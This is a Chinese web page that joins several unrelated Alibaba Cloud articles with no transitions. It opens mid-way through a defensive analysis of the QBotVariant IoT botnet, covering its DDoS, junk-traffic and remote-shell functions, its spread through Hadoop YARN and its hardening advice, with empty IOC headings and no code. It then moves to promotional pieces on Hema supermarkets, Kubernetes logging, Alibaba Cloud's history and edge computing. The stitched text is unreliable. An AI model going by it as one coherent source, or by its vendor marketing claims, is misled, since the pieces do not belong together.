除了集成常见的对外DDoS攻击方法，QBotVariant还可以进行对外发送垃圾数据，通过sendJUNK或sendUDP即可完成该动作，如图用于生成随机字符串的makeRandomStr函数，通过发送大量垃圾包同样可以造成网络带宽阻塞。

而QBotVariant为了最大化入侵价值，同样提供了远程shell命令执行功能，其命令以"SH"开头，通过fdgets、sockprintf将命令执行后的结果返回到远控端，实现如下

样本溯源/同源性分析

我们在对样本分析的过程中发现一个有趣的现象，样本为了逃避检测，有多种不同的指令，我们选取了几种QBotVariant的上线方式。

第一种，信息较简单，返回大小端、CPU架构、主机用途等信息。

第二种，信息比较全面，带有操作系统、CPU架构、主机用途、端口、主机IP等信息。

第三种，信息最为简单，只返回架构信息。

第四种，返回大小端、架构信息。

第五种，信息比较全面，架构信息、大小端、主机IP、主机用途等信息。

第六种，返回主机IP、类型、版本信息等。

第七种，返回架构、主机IP等信息。

我们在对样本进行溯源发现，在pastebin上存在大量该类样本的源码、二进制文件等，其存在时间都在数月之久，作者目录下还包括其他类型IOT蠕虫，同时发现多个作者进行了QBot的改写，如图是其中一位作者的pastebin和github

QBot在国内似乎大家认知不多，但是由于源码简单、客户端小、支持多种架构，从09年活跃至今一直未间断过，常被应用于远控、DDoS等客户端，在其截获的IP中，绝大部分位于北美和欧洲各地，但是云平台检测到来自国内IP的攻击源，国内安全人员应该引起重视。

安全加固 ●  云防火墙

开启云防火墙IPS拦截模式和虚拟补丁功能，云防火墙已经支持对该类漏洞的防御和防止暴力破解功能，用户即使不及时修复也依然能够进行防御拦截。
 ●  网络访问控制
使用"ECS/VPC安全组"对"受影响服务端口"访问源IP进行控制，如果本身Hadoop环境仅对内网提供服务，请不要将Hadoop服务端口发布到互联网。
 ●  更新升级

若使用自建的Hadoop，根据实际情况及时更新补丁，Hadoop在2.X以上版本提供了安全认证功能，加入了Kerberos认证机制，建议启用Kerberos认证功能或者您可以选择使用云上的MaxCompute(8年以上"零"安全漏洞)或云上的E-MAPREDUCE服务。

安全建议

 ●  云防火墙产品已支持防御针对此漏洞的攻击，建议用户可以购买云防火墙，开启检测。

 ●  通过安全管家服务，在阿里云安全专家的指导下进行安全加固及优化工作，避免系统受到漏洞影响。

总结

QBotVariant通过Hadoop Yarn资源管理系统REST API未授权访问漏洞、弱密码口令爆破等方式进行入侵，一旦感染此类蠕虫，不仅会占用主机计算资源消耗带宽流量，成为攻击其他主机的肉鸡，还可能造成数据泄露，数据丢失等后果。

阿里云安全提醒广大互联网用户，注意第三方应用的配置，防止出现此类未授权漏洞，同时加强用户名和密码的安全意识，切实保护自身资产安全。

IOC

部分MD5-文件名

部分IP

部分URL及出现时间

2019年3月底，成都盒马高笋塘店开门迎客。这是成都的第12家盒马店，接踵摩肩的消费者热情依旧。一个统计，成都主城区的盒区房覆盖率全国第一，达到75%，服务小区数量超过9100个。 

盒马消息称，西安二环内、上海主城区的盒区房覆盖率也超过70%。过去一年，盒马以“4天开1店”的速度进入了全国20个城市，因为便捷的服务和新奇的购物体验， “住上盒区房”成为了社会期待。

没人能想到，盒马能以“龙虾”破局新零售；所有人都期待，屡创新高的“盒马速度”。

云上创业：第一家门店

向没有开辟的领域进军，才能创造新天地。——李政道

时间回到2015年，美国百货店“祖师爷”西尔斯公司将200多家顶级店面出售给Seritage房地产信托投资基金。这意味着，西尔斯这个辉煌了100多年的传统零售巨头，已经陷入了经营困境。

在中国，零售业依旧是硝烟弥漫的创业者赛场。彼时中国电商市场已然巨头在立，然而随着移动互联网的兴起，大家都希望利用智能手机，挖掘出一个大商机，比如生鲜O2O。

生鲜是最为苛刻的电商品类：保质期超短，有些甚至只有几个小时；成本极高，卖不掉就要扔掉；冷链条件、运输时效要求高。所以，当时的生鲜O2O大多只是卖些冻品。尽管如此，生鲜的线上渗透率也只有1%。 

也正在2015年，在零售圈摸爬滚打近30年的侯毅从北京回到老家上海，心中怀着一个执念，30分钟内把一只来自波士顿的鲜龙虾送到用户家里。凭借多年对市场的理解和敏锐洞察，他认为 “构建线上线下一体化的生鲜超市”将成为一种全新的零售模式。行业里赞同者寡，但是 阿里巴巴 集团CEO张勇表示出了极大的兴趣。 

坊间传说，张勇只听侯毅讲了5分钟就认可了他的想法。不过，两人在半年时间里确实见了不下10次。最终，侯毅决定借力 阿里巴巴 ，打造盒马鲜生。 

此前，没有人搭建过线上线下一体化的超市，背后的系统千头万绪，物流WMS、ERP和财务、门店POS、物流配送、APP、会员、支付、营销… …必须有一个一体化的平台，来处理所有与零售相关的业务。盒马鲜生不仅要做商业的探路者，还要成为技术的登月人。 

挑战就摆在刚刚组建的盒马技术团队眼前：这套超级复杂的系统，如何构建？答案倒也简单：借力 阿里 中台。 

中台是 阿里巴巴 在2015年启动的集团战略，希望构建符合DT时代的“大中台、小前台”组织机制和业务机制：作为前台的一线业务会更敏捷、更快速适应瞬息万变的市场；中台将集合整个组织的运营数据能力、产品技术能力，对各前台业务进行强力的支撑。 

于是，盒马技术团队一方面开始像搭积木一样调用 阿里巴巴 智能中台里的产品技术模块，快速构建起了基本应用。另一方面针对线下场景，进一步实现了基于POI的精准配送，一键调整价格的电子价签，支持万级SKU的品类规划，以及全供应链管理等。 

最终，这套打通了线上线下的商超系统，包括会员、交易、营销、资金、支付、结算、账务、客服、安全等等功能。实现了统一会员、统一库存、统一价格、统一营销、统一结算。

由于中台能力的出色表现，盒马的系统用9个月时间搭建完成。这个速度让侯毅也吃了一惊，“放到今天，这样一套系统其他人去做至少花2年。” 

云上速度：从1到100

天下武功，无坚不摧，唯快不破。——李小龙

2017年6月16日，亚马逊宣布以137亿美元的价格收购全美最大的天然和有机食品连锁超市Whole Foods（全食超市），一家打通线上线下的新零售超市。传说，贝索斯在2017年初实地参观了盒马，所以下定决心收购全食，与老对手一较高下。137亿美元不仅创下了亚马逊的收购纪录，也成为美国零售行业的并购之最。 

2017年盒马开始快速奔跑，但还算不上火力全开。它在17年开了17家店，而18年一年，就有 95家新店落地，相当于4天1家店。“盒马速度”是怎么实现的？

“相对于传统企业，盒马有一个巨大的优势：一出生，它的IT系统就全部构建在云端，实现了云端统一支撑，同时并不惧怕高订单量。”作为初始创业产品技术团队一员，盒马的高级产品专家满汉认为，盒马飞速奔跑，得益于云计算。 

2016年双12，盒马第一次试水线上促销。上海金桥店创下了1天1万单的交易纪录。要知道即使放在现在，日本、美国的很多零售门店的线上销售单量，也仅仅几十单或者几百单每天。 

然而对于线上1天1万单这个“纪录”， 满汉提起来有点不太好意思。因为他们并没有像阿里巴巴 备战双11一样，提前进行大规模技术演练和系统准备，“当决定搞双12线上大促的时候，实际上已经是10月份了，准备的时间非常短”。 

经历过 天猫 双11流量峰值考验的 阿里 云，轻松支撑了盒马当年的线上促销活动。如今，盒马有180家店铺，大多数的店铺每天的交易都会达到这个2016年的纪录峰值。 

没有采购服务器，盒马借助云计算的弹性计算能力，实现了每个店铺的线上线下交易与支付都平稳、顺畅。几百万CPU核心的计算能力、PB级的存储空间、瞬时的相应支持，快速奔跑的盒马在云端得到了这一切。 

满汉介绍，由于盒马将订单管理、配货、运营，甚至安保和美工等职责统一借助云端支撑，确保了各新开店标准化的管理模式。“ 阿里 云已经形成了更大范围的网络效应，让盒马不再是孤立的单点提供服务，而是可以轻松获取云端合作。比如商品选择、物流、多销售渠道、配送等，都可以综合运用全社会的云上资源。”

星巴克创始人霍华德·舒尔茨造访盒马上海长宁店

盒马飞一般创下了多个纪录。不仅吸引了全球企业家，还有外国政要前来参观。韩国乐天超市把悬挂链、30分钟送达的商业模式都搬回了韩国，而且还把三公里的地区称做“虚设区房”。

千店千面：数据智能的力量

不要为顾客着想，而是要站在顾客的立场上思考。——铃木敏文

尽管被视为新零售的最佳实践，过去四年，盒马过得并不轻松。2019年3月， 侯毅发表演讲称，新零售要回归零售的本质，做到因地制宜，做到符合当地消费者收入水平、消费习惯的店型和商品结构。与此同时，盒马进一步孵化了盒马菜市、盒马mini店、盒马F2、盒马小站等更多成员，基于不同区域、商圈的消费者，提供不同“定制化”的服务。 

盒马变得更在乎用户，更接地气。 

从全国标准化到“千店千面”，盒马再次借助了 “数据中台”的能力——用户需要什么？喜欢什么？接受能力是多少？什么商品最好卖？能卖多少？需要及时补货还是快速促销？数据中台的神奇之处，就在于它可以回答商业世界的十万个为什么。

爱美女生知道口红的色号，数据中台了解牛油果的色号。 “行业内的潜规则是，香蕉、凤梨、牛油果等热带水果进货时，尽量进青色不成熟的，这样不会坏。但是有经验的消费者知道，拿回去放几天才可能吃到最好的味道。但盒马只会进5号色最好的牛油果、6号色最好的香蕉，消费者买到就可以吃到最佳口感。” 上海金桥店店长昱夏说的就是借助数据来订货。 

这背后是对数据智能支持下供应链的极度自信。数据中台结合历史销量、节日甚至是天气情况等上千种数据，最大维度可以测算未来30天的销售量，最小精度甚至可以精细到下一分钟。“之前全凭经验，现在我们让数据决策。” 

昱夏的另一个故事来自有身份证的鱼。“在广州的门店，用户只要手机一扫便可以看到眼前这条鱼来自于哪片池塘，有没有质检报告。借助科技的力量，每一条淡水鱼拥有了安全可溯源的身份。”

在 阿里 达摩院AI、视觉识别、IoT技术的加持下，盒马成了零售圈子里最懂科技的生鲜超市。“谷歌用算法下围棋 ，盒马用算法卖生鲜，每天都确实感觉到是在科技公司上班。” 

2019新年伊始，在全球零售业最重要的全美零售联合会（NRF）上， 阿里巴巴 获零售业全球最大奖——“未来零售创造者”，而盒马鲜生被称为“新零售”典范。 

在侯毅眼中，盒马做到的是“以消费者需求为导向，利用 阿里 的基础数据能力、 阿里云的海量云计算能力、会员和支付体系，围绕成本与效率、体验与服务，重构零售业态。”

盒马鲜生这个新零售先锋，同样是现代数字技术改变的商业运行模式的典范。而盒马背后的 阿里 云，作为 阿里巴巴 所有技术和产品的输出平台，开始向全社会输出最佳实践的“新零售”数字化解决方案。

的确，这是新零售的时代，这是云计算的魔力。

本文转载自网络  如有侵权请联系删除

作者 | 元乙 编辑 | 张婵 阿里云日志服务是阿里集团针对日志分析、处理的自研产品。Kubernetes近两年来发展十分迅速，已经成为容器编排领域的事实标准，但是Kubernetes中日志采集相对困难，本文介绍了阿里云Kubernetes日志平台是如何建设的。 背景

阿里云日志服务是阿里集团针对日志分析、处理的自研产品，最根本的目的是让用户专注在“分析”上，远离琐碎的工作。日志服务整体功能分为3个部分：日志采集、智能查询分析和数据分发。相比其他日志系统，阿里云日志服务有以下几个特点：

采集范围广，支持30+种的数据采集通道，包括服务器、交换机、容器、移动端、IOT等各类设备；支持全球加速、断点续传等功能，使全球化数据高可靠采集成为可能。

数据规模大，支持单用户日PB级数据写入，提供数据通道横向自动扩展能力，可根据数据流量进行自动扩容。

查询能力强，提供SQL92标准的分析语法，秒级即可分析10亿条数据，同时提供丰富的数据图表，提供所见即所得的数据分析能力。

下游渠道多，日志服务支持对接各类下游的数据处理、分析系统，包括Flink、Storm、Spark等各类流计算系统，同时也支持Hadoop、MaxCompute等离线分析系统。

Kubernetes 日志采集难点

Kubernetes近两年来发展十分迅速，已经成为容器编排领域的事实标准。

Kubernetes是一个大的生态系统，围绕着Kubernetes我们需要去解决很多问题，例如CI/CD、可扩展性、安全性、可观察性等等。日志是可观察性中必不可少的一部分，而在Kubernetes中日志采集相对更加困难，难点主要体现在：

采集目标多，Kubernetes平台运行着多种系统组件以及众多应用，这些日志由多种日志格式（分隔符、json、Java、Nginx等）和多种日志形式（宿主机文件、容器stdout、容器文件、syslog、journal等）组成，通常主流的Agent很难支持各种数据的采集。

环境动态性强，在Kubernetes中，各类服务都会进行自动的缩扩容，应用也会进行动态迁移，日志采集很难适应环境动态性强的系统，尤其是日志的完整性很难得到保证。

使用负担大，随着集群规模、使用人数、应用种类的逐渐增长，日志采集的集中式管理、采集可靠性的监控等需求就显得尤其重要。更进一步，如何基于Kubernetes的扩展能力让日志采集也能和Kubernetes资源一样进行统一的管理？

阿里云 Kubernetes 日志平台的整体功能和核心技术

阿里云Kubernetes日志平台为Kubernetes日志提供接入、查询、分析、可视化、下游对接等日志分析整个生命周期的完整方案，并针对Kubernetes的组件日志提供通用的解决方案，例如审计日志、Ingress日志、系统组件日志等。这里的核心技术主要有以下几点：

全方位日志采集，能够支持Kubernetes各类日志的实时采集，并兼顾低资源消耗、高性能、高可靠性。同时基于CRD扩展，实现采集与Kubernetes的无缝集成。

超大规模数据量，Kubernetes可轻松管理数万台机器的集群，日数据量可能会达到数百TB甚至PB级，日志平台能够支撑海量的数据规模，同时保证可扩展性和可靠性。

实时分析能力，日志最常用的场景是监控和问题调查，因此实时的查询/分析能力尤其重要，平台能够在秒级内实现对亿级数据任意条件、任意维度组合的分析。

通用方案打通，基于日志平台的通用能力，对Kubernetes的通用方案进行整体封装，并打通采集、存储、分析、可视化、告警等整个流程，实现通用方案的开箱即用。

平台设计难点

阿里云在通用日志平台的建设方面有着10年的经验，针对Kubernetes场景平台整体的复杂性增加很多，难点主要有：

支持各类采集需求，需支持采集多种日志形式和日志格式，不同的使用场景对日志采集的需求不同，需要保证数据采集具备高可靠、高性能、低资源占用、可监控的能力。

Kubernetes集成，日志的采集和管理需要和Kubernetes平台进行无缝兼容，因此需要提供CRD的扩展方式，尤其在多种方式同时操作、集群不可用等复杂场景下，CRD与服务端的同步与协调关系较难维护。

多租户隔离，Kubernetes日志平台的使用方较多，平台需保证从日志采集、处理、查询、消费等各个环节的多租户隔离，不能让部分用户的大量请求或非法使用而导致整个集群不可用。

超大流量压力，在阿里内部，即使最大规格的VIP也无法承受所有日志的流量，双11、春节红包等流量高峰瞬间可能会打爆集群，因此减少数据回路、削峰填谷、降级方案、系统兜底方案等尤其重要。

日志数据的使用

Kubernetes中存在各种日志，包括内核日志、系统组件日志、Ingress、ServiceMesh、中间件、应用日志等，每种日志都会有不同人员在不同的场景中应用。例如APIServer的审计（Audit）日志，安全同学会用来做入侵检测、账号操作审计等，运维同学会基于审计日志做变更管理、核心组件监控、节点监控等，开发同学会使用审计日志检查变更是否生效；例如Ingress的访问日志，运营同学会用来做用户行为分析、业务走势分析、运营检测等；运维同学会用来做集群/服务监控；开发同学会基于Ingress访问日志进行发布前后的指标对比……

从日志平台角度来看，平台需要为不同的业务角色、不同的使用场景提供通用的数据处理/分析能力，包括但不限于：智能分析、链路跟踪、监控、数据清洗、流计算、数据仓库、安全分析、BI分析等。

Kubernetes 日志平台与可观察性的关系

“可观察性”（Observability）从电气角度上的解释是：“若所有的内部状态都可以输出到输出信号，此系统即有可观察性”。CNCF-Landscape首次将“可观察性”（Observability）引入到了IT领域。可观察性相关的工具主要包括Logging、Metric、Tracing三大类，这三者之间有很多重叠部分，从表现力上来看，Metrics最弱、Tracing其次、Logging最强。Metric主要记录了一些聚合的指标信息，例如CPU/Mem利用率、请求成功率、请求延迟等；Tracing记录从请求发起到响应完毕的整个流程；而日志相对范畴最大，日志记录了系统运行期间所有的信息，而从日志的字段中可以聚合出Metric、从日志的RequestID中可以提取出整个Tracing链路。

在Kubernetes中，通常通过Metric发现问题，然后通过Tracing定位问题模块，最后根据日志中的详细信息诊断错误。而在阿里云Kubernetes日志平台中可通过智能分析的功能直接基于日志发现、定位并诊断问题，大大减少问题调查时间。智能分析的能力主要有：

日志聚类，根据日志的相似性进行智能归类，秒级即可实现亿级数据自动归类，快速掌握日志整体状态。

异常检测，基于变点检测、折点检测、多周期检测、时序聚类等机器学习方法，自动检测时序中的异常。

日志模式对比，通过前后两个时间段/版本的日志模式对比，快速发现当前时间/版本的日志差异。

知识库匹配，将问题调查经验以知识库形式保存下来，将日志与知识库内容进行匹配，快速得到具体日志对应的问题和解决方案。

阿里云 Kubernetes 日志平台的借鉴意义

阿里云Kubernetes日志平台建设过程中考虑的很多问题对于大家都有一定的借鉴意义，例如：

采集方案选择，Kubernetes中采集通常会使用DaemonSet和Sidecar两种方式，日志也会分为stdout和文件两种形式，文件也分为容器内文件和宿主机挂载文件等不同方式，需根据业务场景特点选择合适的日志采集方案。

平台高可用建设，随着应用场景的逐渐扩展，对于日志平台的可用性要求也越来越高，我们在高可靠日志采集、日志平台自监控、异常自动屏蔽与恢复、高效运维等方面积累了很多宝贵的经验与教训。

生态对接，平台不可能实现日志生命周期中所需的所有系统和功能，很大一部分功能需要上下游的生态来完成（例如流计算、离线计算、Trace系统、告警系统等），因此生态的对接成为了日志平台能够覆盖所有日志场景必不可少的一个部分。

性能与成本取舍，成本是每个公司都需要考虑的一点，通常日志的开销只占IT支出的1-3%左右，日志的采集、存储、查询等各个环节需尽可能的节省资源，同时还需保证整体性能在可接受范围内。

本文转载自网络，如有侵权，请联系删除。

鲜为人知的是，这个数字经济体之所以能够顺利走到今天，离不开其花了一半时光所打造的业务与技术底座——那朵伴随着成长阵痛而扶摇直上的阿里云，今年也已经十周岁。

2019年3月，虎嗅专访了阿里云智能基础产品事业部总经理蒋江伟（花名小邪）、资深技术专家钟华（花名古谦）。不出意外，采访内容印证了我们此前的猜测：如果要从磅礴繁杂的阿里经济体中，找出一条读懂“昨天，今天，明天”的业务线索，阿里云恐怕是不二之选。

烟囱

“即便你仅仅访问一次淘宝的首页，所涉及的技术和系统规模都是你完全无法想象的，是淘宝2000多名顶级的工程师们的心血结晶，其中甚至包括长江学者、国家科学技术最高奖得主等众多牛人。” ——卡特《你刚才在淘宝上买了一件东西》

2008年初，淘宝的程序员撞到了墙上，心惊胆战。

那时候，淘宝在技术层面上，是一个由200多个功能模块组成的代码压缩包，体积大概有几百兆字节。其复杂程度已经“超出人类的认知负载”，没有人能完全掌握内部逻辑和关联。“改动商品相关代码，发现交易出问题了，改了论坛上的代码，结果旺旺出问题了”。

这还是“几个月就翻倍”的业务快速发展期。淘宝在峰值时的数据库连接数量已经超过5000个，数据库服务器的CPU占用率常常超过90%，且无法扩容。

实际上，早在4个月前的一次战略会上，阿里决策层已经看到问题所在。

那个会的召集人是马云。平时战略会都在西湖，那次他说找个看海的地方，思路开阔一些。但是当时秘书对宁波不熟，订错了地方，结果一群高管在一个海在哪里都看不到的屋子里，“不接地气”地吵了两天两夜。

在最后一天晚上深夜，大家历经争吵终于画出一张图。图上示意，信息流、资金流和物流将形成统一的数据智能，基本勾勒了12年后阿里现在的样子。

流淌在各个业务中的数据要做到“大一统”，项目被命名为“登月计划”。

但，月亮美好，却太遥远。眼下的现实是，淘宝底层技术基础已经危如累卵，已经是出了名的“改这里、错那里”。

要上线“淘宝旅行”和“淘宝彩票”。为了“不给主站添乱”，技术人员就另起炉灶重新做了这两个系统。哪怕有很多重复功能，比如用户、交易、查询、评价等功能。

重复建设还只是成本的问题。一个个独立的业务就是一根根独立的烟囱，都长在同一片地里，但各冒各的烟。数据大一统，无从谈起。

连业务属性最一致的两个业务——淘宝和淘宝商城（天猫的前身）都像两个独立的国家。

他们有很多共同的用户、共同的商家，但车不同轨、书不同文，载着数据的“火车”到了“国界线”，必须要通过复杂的架构手段，“找一个翻译”或者“换一个火车头”。

再加上，阿里的地里长了这么多烟囱，无数的火车头和翻译，复杂得不成样子。

建设烟囱本来就是多年来的企业IT模式：你起一个业务，底下给你弄一套系统；再起一个业务，我再给你弄一套系统。设计、生产、供应、物流、订单、库存、分销、客服……每个功能再一套系统，企业就是一片烟囱田。

这是工业流水线被发明之后，管理界的金科玉律：理顺、分配、不断优化每个封闭的业务流程，通过每个工序和业务流程的效率提高，进而提升整个企业的效率。

然而，当数字化信息取代实物，成为最重要的生产资料后，工业流水线在数字化时代的弱势便被无限放大——内部各环节之间只能是串联的，且对外部完全封闭，恰似一根根烟囱。

“你会发现转不动了，新业务不断出现，所有人都找IT部门要资源，看起来你挺牛，但其实你拖慢了所有人的节奏。”

“互联网这种速度，生死都是一瞬间。慢下来就挂了。”

虽然决策层看到问题所在，也遥远地指了一下月亮。但就像人类真的登上月球要付出沉重的代价，阿里的“登月”也谈何容易。

补天

“中国电商行业能有今天，上百万淘宝店主都应该感谢秦始皇书同文车同轨，感谢高考语文考卷上的普通话发音题。” ——马平《为了我们双11“剁手”，中国准备了2000年》

2007年底，有程序员想了个办法：将每个烟囱都必备，且逻辑最独立简单的用户信息模块拆了出来，将其独立成为单个公共模块。这一尝试后效果还不错，淘宝又将交易模块也独立了出来。

2008年10月，基于此前的成功尝试，阿里进行了一次被称为“给高速飞行的飞机换发动机”的大手术。

这个名为“五彩石”（即女娲炼石补天用的石头）的项目，其核心诉求就是要将淘宝与天猫在数据和业务层面完全打通。

当时的解法具有了后来中台的影子：

1、抽离出每个业务的共性功能，如交易、支付、会员等等，打包成“砖块”，房子千奇百怪，但砖头都是一样的。做一个新业务就变得非常容易。

2、让数据沉淀到统一的池子，为之后喂养数据智能奠定基础。

“大多数产品，产业共性70%，行业共性20%，真正和同行不一样的，恐怕只有10%”，阿里资深技术专家古谦在见过上百家各行业龙头企业后，这样总结到。

而这一块补天之石的影响，远不止于此。

2009年初，五彩石项目结束，这个一共动用了200多人的公司级大项目（此前阿里超过10人的技术项目就不小了），最终为阿里沉淀了一套中间件技术，这个词后来在技术圈普及，成为“拆烟囱”的标准。

（阿里云飞天研发团队合影）

同样在2009年，王坚率领的飞天团队，正式挂出了阿里云的牌子。

在宁波的战略会上，决策层们打算为“登月计划”找个负责人，后来找来了王坚。

王坚人称“博士”，不过在很长的时间里，博士都有一副类似“骗子”的面孔。

马云说给阿里云每年投10亿，投个10年，做不出来再说。但阿里内部论坛上讨伐的声音一浪高过一浪，花钱又不出成绩，这哪是一个商业公司该干的事情。

其实，这恰好说明阿里云的确生于疼痛，生于业务压力：

第一、“登月”要解决算力的问题，现成的IOE模式完全不适用；

第二、“五彩石”补天之后，要有与之匹配的分布式底座。

2013年，飞天单一集群能力达到5000台，成为全球第一家对外提供这一能力的公司，算力的底座宣告建成。

到2018年底，阿里云在中国市场份额已经超过2到8名总和。同时，阿里宣布组织架构调整，阿里云升级为阿里云智能，将中台能力与云全面结合。阿里云正式成为阿里经济体的技术底座，以及全集团的技术能力出口。

而阿里云智能总裁，恰是十年前“五彩石”项目的负责人，“行癫”张建锋。

今年3月21日，张建锋首次在公开场合阐述了升级之后的阿里云智能战略。至此，开端于2007年宁波海边的故事，闭环完美划上。“登月”的另一条隐线浮出水面。

阿里云此前被外界感知的，更多是算力与资源调度能力，以及自主知识产权研发。却少有人知晓，阿里云的壮大与发展，伴随着集团的每次业务阵痛与瓶颈突破，更与中台战略密不可分——

从五彩石到阿里云，这不是某种巧合，而是同一逻辑下的自然延展。可以说，中台战略与阿里云，就是互为因果，互为充要条件，缺一不可，非你不可的关系。

这不止是一朵能计算的云，更是一朵可以解决实际业务问题的云。因为，阿里云生于疼痛。而阿里集团的那次疼痛，又比绝大多数中国企业早了十年。

1000个BUG

“犯了足够多的错误，你跌倒，你站起来。所有的错误都是进账，都是很棒的收入。”

——马云演讲

“没被洪水倒灌过，你怎么能证明这个城市的下水道架构是合理的呢？”

阿里云智能基础产品事业部总经理小邪给我们讲了这样一个故事，2013年，阿里模拟出远超过双11压力的流量，这股洪水灌下去之后，淹出来1000多个BUG。

“像这种非常极端而极致的BUG，没有这么大的流量，是冲不出来的。即便招无数聪明的脑袋，也没办法解决的。”

这也是阿里不同于其他公司的地方，它具备互联网的规模、金融级的准确性、企业级的复杂程度。

在很多年前，有一个互联网圈流行的词汇，叫“鼠标加水泥”，其含义是传统商业模式与互联网的结合。这些能够做面对面生意的“重资产互联网企业”，就属于“水泥公司”，和那些只靠屏幕就能满足用户的“鼠标公司”截然不同。

而阿里早在十几年前，就是中国第一代“水泥公司”。这是其业务性质决定的，和BAT另外两家的“鼠标业务”完全不同。

比如，搜索是可以有一定模糊范围的，搜不出来几个链接也没关系，但电商不行，哪件商品搜不出来，商家都会电话投诉的。不仅内容上不能有偏差，每次交易的数字都代表着真金白银，差一分商家也是不干的。

再比如，社交行为基本是可以预见的，很难出现巨大的起伏跌宕。而电商用户就如同12306一样，面临巨大的弹性，算力放多了浪费，放少了崩溃……

而且，其它互联网企业的业务基本是比较清晰的，多是围绕着一个主流量核心再去设置支流业务。而阿里则从一开始就像个传统企业，要把一个产品或服务从生产设计、库存运输、分销推广再到客服分析全链路包含，其业务复杂度远超过同体量互联网企业。

高精准度、高复杂度以及难以预测的高并发，共同构成了阿里的技术瓶颈。这也是当业界大佬认为云计算“新瓶装旧酒”时，马云坚称“不做云计算，阿里会死”的原因。

同期的其它几家知名电商企业，依然在采购IBM的框架，甚至从Oracle请来了CTO。随后，这些企业的技术端纷纷在现实磨难中各种崩盘，而且对这种崩溃的弥补，很难得到系统性的提升。

十年后的2018，腾讯、美团、京东等企业，或多或少都放出了中台战略和TO B战略的消息，而云计算也逐渐成为了各家的当红业务线。

当然，还有更多传统企业，在近几年的市场挑战中，逐渐发现了自身原本信息系统建设的滞后性，开始求教于阿里技术团队。

这些事实无不印证着那个判断：阿里并不是多聪明或多奇怪，只是比其它企业提前很多年就遇到了挑战。而现在，大部分企业也走到了那个挑战的门口。

让天下没有难碰的运气

“我们必须承认各种不确定性，利用数据和信息消除它们，而不是采用过去那种来自顶层的设计方式去解决问题。” ——吴军《硅谷之谜》

在采访中，古谦向我们展示了一组术语：VUCA。

这组术语包含四个词，即Volatility（易变性）、Uncertainty（不确定性）、Complexity（复杂性）、Ambiguity（模糊性）。可以充分概括这个商业时代的特征。

企业商业模式的转型，已经从电气时代的30年一个生命周期，到信息化时代的10年，到互联网时代的5年，直至今天DT时代的2~3年的生命周期。

不确定性成为时代主题。生死都是一瞬间，就是这么VUCA。

商业本质从未改变：信息不对称牟利的产品或服务，加上时代机遇，也可以称为运气。而在这个不确定的VUCA时代，机遇变成一个变幻莫测的东西。告别工业时代的“看十年做十年”的战略思维，快速试错和数据智能才是VUCA时代的王道。

这也恰恰是阿里中台能力的价值，阿里的聚划算业务只需要7个人花一个半月就能开发出来，飞猪、钉钉、盒马等商业新物种频繁涌现。很多阿里内部几个人几星期做的事情，放在外部企业中，至少要几十人干半年。哪怕方向错了，从头再来，成本也要低很多。

企业能做的第二件事，就是形成数据的统一，挖掘智能的“石油”。

比如波司登连续两年利润猛増。这其中一大原因，就是利用中台策略，实时监控全国3000多家门店的库存和销售情况，进而降低库存压力和物流成本，提升商品售罄率。

这一升一降间，对于一家销售额数十亿的企业而言，只要物流成本降10%，利润很可能就会多出一两个亿。

一些咨询机构则看得更长远。比如埃森哲、毕马威、德勤纷纷来找阿里云合作，就是希望可以帮助企业数字化转型，并通过数据智能支撑商业决策。

阿里本身也是用机器做决策最多的公司，从阿里小贷，到手淘千人千面，如果没有AI能力，几百人肯定无法运营这个万亿规模平台。

前谷歌云首席科学家李飞飞曾多次说过，云是人工智能落地的最好平台。这也是40%的中国500强企业、近一半中国上市公司、80%中国科技类公司齐聚阿里云的重要原因。

结语

二十年前，在湖畔花园那间漏水的民宅里，这家企业的基因就决定了后来的故事。它的根须在中国经济社会的根须之间。受难于此，也反哺于此。

早于社会十年，阿里遇到巨大困境。也由此筑起了巨大的壁垒，来自别人所未长的见识，和不能承受的痛苦。

变身阿里云智能之后，阿里的苦，要去解决社会的苦，将自己十年来在企业运营和商业实践中总结的方法论和技术架构，打包成产品和商品，赋能整个经济社会。

二十年前，阿里在报纸上发出半个版的招聘广告，那句广告词如今已经成为它的企业文化，“If not now, When? If not me , Who?”(此时此刻，非我莫属)。

疼痛本就是先行者的必然经历。世界在质疑，而你走了过去。

一场计算体系架构的巨大革命，需要更多行业玩家进入

在5G和边缘计算到来之后，云、端二体协同向着云边端三体协同去发展，毋庸置疑，这是未来架构的新形态，杨敬宇将整个过程称之为一场计算体系架构的巨大革命。低延迟、大带宽、自定义、高效能、高安全成为了行业颇为关注的几大趋势。

据Gartner预测，2021年将有40％的大型企业在项目中纳入边缘计算原则。而到2022年，边缘计算将成为所有数字业务的必要需求。

而谈到行业，杨敬宇认为目前边缘计算行业玩家大多处在能力供给侧，各家都在基于各自的行业背景和优势，对外拓展边缘计算领域的相关布局，云计算将云服务向外延伸和扩展，运营商网络引入边缘，实现存量网络优化和5G规模商用，设备服务商所在领域支持边缘计算的各类硬件产品。真正的边缘计算要起来，需要更多行业玩家进入，一起碰撞和实践。

阿里云打造边缘计算产品技术矩阵，云的能力深入每个计算场景

边缘计算的布局分为三层，第一层是将分布全球的边缘IDC变化为云基础设施，这个能力可以从云覆盖到用户100公里附近的位置；第二层是MEC，深入到5G通信网络这一层；第三层就是客户侧的边缘计算，通常是放在园区、政企、家庭等客户侧网络。阿里云边缘计算，三层网络层层深入，直至用户的最近一公里。其中有两个产品：

边缘节点服务（ENS）的目标连接最后10公里，是提供在边缘的通用计算平台，有了ENS就可以轻松得到虚拟机、计算、安全等能力，帮助用户业务下沉至运营商侧边缘，有效降低计算时延和成本。

Link IoT Edge可以解决万物的标准化接入问题，是连接最后1公里的物联网边缘计算平台，支持包括函数计算、流式计算、规则计算等计算引擎，还可以和超过10种以上云服务建立连接和协同。

ENS 1.0：迈出一小步，首次将计算推进至100公里边缘

ENS 1.0时代，阿里云激活了覆盖全球的边缘基础设施潜力，第一次将计算推进至100公里的边缘，建立了标准、安全、多租户的边缘基础设施底座。同时，这也是阿里云第一次把飞天技术轻量化落地到大量的边缘节点上，借助飞天十年技术沉淀，实现性能优秀、稳定可靠的边缘计算能力。

这使用户能够快速轻量地开展业务，资源获得效率从月度提升至分钟，显著降低了初期资金投入，让用户能够快速的开展业务，在1.0阶段，阿里云也积累了虎牙直播、三体云、拓课云等大批合作伙伴和业务场景。

挑战与思考：边缘计算不应只是传统IDC的简单迁移！

与此同时，杨敬宇带领的边缘计算团队也陷入思考：“边缘不应只是传统IDC的简单迁移。边缘系统提供基础的网络、计算底座和资源，用户仍然在沿用使用IDC物理机的方式，搭建全套的业务系统、运维系统。边缘平台的能力和数据与用户的应用和运维割裂，客户感知底层的能力不足、运维复杂，问题处置效率低，并未完全享受到云的技术红利。”

